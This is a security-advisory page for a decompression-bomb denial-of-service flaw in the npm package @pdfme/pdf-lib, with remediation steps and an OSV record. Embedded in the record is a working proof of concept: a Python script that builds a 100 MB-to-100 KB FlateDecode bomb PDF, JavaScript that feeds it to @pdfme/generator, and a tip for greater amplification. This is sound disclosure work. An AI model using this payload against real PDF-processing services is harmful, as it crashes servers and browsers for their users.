Vulnerabilities in pkg:npm/@pdfme/pdf-lib
PACKAGEGHSA-vrqm-gvq7-rrwh is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting @pdfme/pdf lib libraries in the npm ecosystem. The issue involves pdfme affected by decompression bomb in flatedecode stream parsing causes memory exhaustion dos. Remediation is available by upgrading affected packages to version 5.5.10.
pkg:npm/@pdfme/pdf-lib
Vulnerability advisories affecting package pkg:npm/@pdfme/pdf-lib. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-vrqm-gvq7-rrwh | - | MODERATE | PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS |
GHSA-vrqm-gvq7-rrwh at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
How to Fix GHSA-vrqm-gvq7-rrwh
To remediate this vulnerability, upgrade all affected @pdfme/pdf lib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @pdfme/pdf-lib@5.5.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @pdfme/pdf-lib
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-vrqm-gvq7-rrwh, inspect your project dependencies using npm:
npm ls @pdfme/pdf-lib
Analyze the terminal output to locate any version of @pdfme/pdf lib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.5.10), your application is affected.
Note: The npm ls @pdfme/pdf-lib command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In @pdfme/pdf lib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-vrqm-gvq7-rrwh Affected @pdfme/pdf lib Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@pdfme/pdf-lib
|
npm |
< 5.5.10
|
5.5.10
|
References
Frequently Asked Questions
What is GHSA-vrqm-gvq7-rrwh?
Which @pdfme/pdf lib versions are affected?
What version fixes GHSA-vrqm-gvq7-rrwh?
Is @pdfme/pdf-lib affected?
What is the CVSS score of GHSA-vrqm-gvq7-rrwh?
What CWE is associated with GHSA-vrqm-gvq7-rrwh?
How can I check npm dependencies for GHSA-vrqm-gvq7-rrwh?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vrqm-gvq7-rrwh",
"modified" : "2026-03-20T20:44:52Z",
"published" : "2026-03-20T20:44:52Z",
"aliases" : [ ],
"summary" : "PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS",
"details" : "## Summary\n\nThe `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.\n\n## Details\n\nThe vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).\n\n**Unbounded buffer growth in `ensureBuffer()`** — `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:\n\n```typescript\nprotected ensureBuffer(requested: number) {\n const buffer = this.buffer;\n if (requested <= buffer.byteLength) {\n return buffer;\n }\n let size = this.minBufferLength;\n while (size < requested) {\n size *= 2; // Doubles with no upper bound\n }\n const buffer2 = new Uint8Array(size); // Allocates without limit\n buffer2.set(buffer);\n return (this.buffer = buffer2);\n}\n```\n\nThe `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.\n\n**Unconditional full decompression in `decode()`** — `DecodeStream.ts:139-141`:\n\n```typescript\ndecode(): Uint8Array {\n while (!this.eof) this.readBlock(); // Fully decompresses before returning\n return this.buffer.subarray(0, this.bufferLength);\n}\n```\n\n**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression — `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:\n\n```typescript\nif (pos + 1 >= limit) {\n buffer = this.ensureBuffer(pos + 1);\n limit = buffer.length;\n}\n```\n\nAnd again at line 297-300:\n\n```typescript\nif (pos + len >= limit) {\n buffer = this.ensureBuffer(pos + len);\n limit = buffer.length;\n}\n```\n\n**Entry point via `basePdf`** — `packages/generator/src/helper.ts:42-43`:\n\n```typescript\nconst willLoadPdf = await getB64BasePdf(basePdf);\nconst embedPdf = await PDFDocument.load(willLoadPdf);\n```\n\nThe `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` → `DecodeStream` with no size limits.\n\nThe same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.\n\n## PoC\n\n**Step 1: Create a decompression bomb PDF**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate a PDF decompression bomb for PoC.\"\"\"\nimport zlib\nimport struct\n\n# Create highly compressible data: 100MB of null bytes\n# compresses to ~100KB (~1000:1 ratio)\nuncompressed = b'\\x00' * (100 * 1024 * 1024) # 100 MB\ncompressed = zlib.compress(uncompressed, 9)\n\n# Minimal PDF structure with FlateDecode stream\npdf = b\"\"\"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n\n2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n\n3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\n /Contents 4 0 R >>\nendobj\n\n4 0 obj\n<< /Filter /FlateDecode /Length \"\"\" + str(len(compressed)).encode() + b\"\"\" >>\nstream\n\"\"\" + compressed + b\"\"\"\nendstream\nendobj\n\nxref\n0 5\n\"\"\"\n# Write proper xref (simplified for PoC)\nwith open(\"bomb.pdf\", \"wb\") as f:\n f.write(pdf)\n f.write(b\"trailer << /Size 5 /Root 1 0 R >>\\nstartxref\\n0\\n%%EOF\\n\")\n\nprint(f\"Compressed size: {len(compressed)} bytes\")\nprint(f\"Decompressed size: {len(uncompressed)} bytes\")\nprint(f\"Ratio: {len(uncompressed)/len(compressed):.0f}:1\")\n```\n\n**Step 2: Trigger via @pdfme/generator**\n\n```javascript\nconst { generate } = require('@pdfme/generator');\nconst fs = require('fs');\n\nconst bombPdf = fs.readFileSync('bomb.pdf');\n\n// This will cause unbounded memory allocation during PDF parsing\ngenerate({\n template: {\n basePdf: bombPdf, // Attacker-controlled input\n schemas: [[]],\n },\n inputs: [{}],\n plugins: {},\n}).catch(err => console.error('OOM or crash:', err.message));\n```\n\n**Step 3: Observe memory exhaustion**\n\n```bash\n# Monitor memory usage — the Node.js process will consume all available memory\n# and either crash with a heap allocation failure or be OOM-killed\nnode --max-old-space-size=512 trigger.js\n# Expected: \"FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory\"\n```\n\nFor higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.\n\n## Impact\n\n- **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.\n- **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.\n- **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.\n- **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter — no elevated privileges are needed.\n\n## Recommended Fix\n\nAdd a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`:\n\n```typescript\nconst MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB\n\nclass DecodeStream implements StreamType {\n // ... existing fields ...\n\n protected ensureBuffer(requested: number) {\n const buffer = this.buffer;\n if (requested <= buffer.byteLength) {\n return buffer;\n }\n\n if (requested > MAX_DECODED_SIZE) {\n throw new Error(\n `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +\n `This may indicate a decompression bomb.`\n );\n }\n\n let size = this.minBufferLength;\n while (size < requested) {\n size *= 2;\n }\n\n // Cap the allocation even if the doubling overshoots\n if (size > MAX_DECODED_SIZE) {\n size = MAX_DECODED_SIZE;\n }\n\n const buffer2 = new Uint8Array(size);\n buffer2.set(buffer);\n return (this.buffer = buffer2);\n }\n}\n```\n\nOptionally, expose the limit via `PDFDocument.load()` options so consumers can tune it:\n\n```typescript\n// In LoadOptions interface:\ninterface LoadOptions {\n // ... existing options ...\n maxDecodedStreamSize?: number; // Default: 100 MB\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@pdfme/pdf-lib"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.5.10"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.5.9"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pdfme/pdfme"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-409" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-20T20:44:52Z",
"nvd_published_at" : null
}
}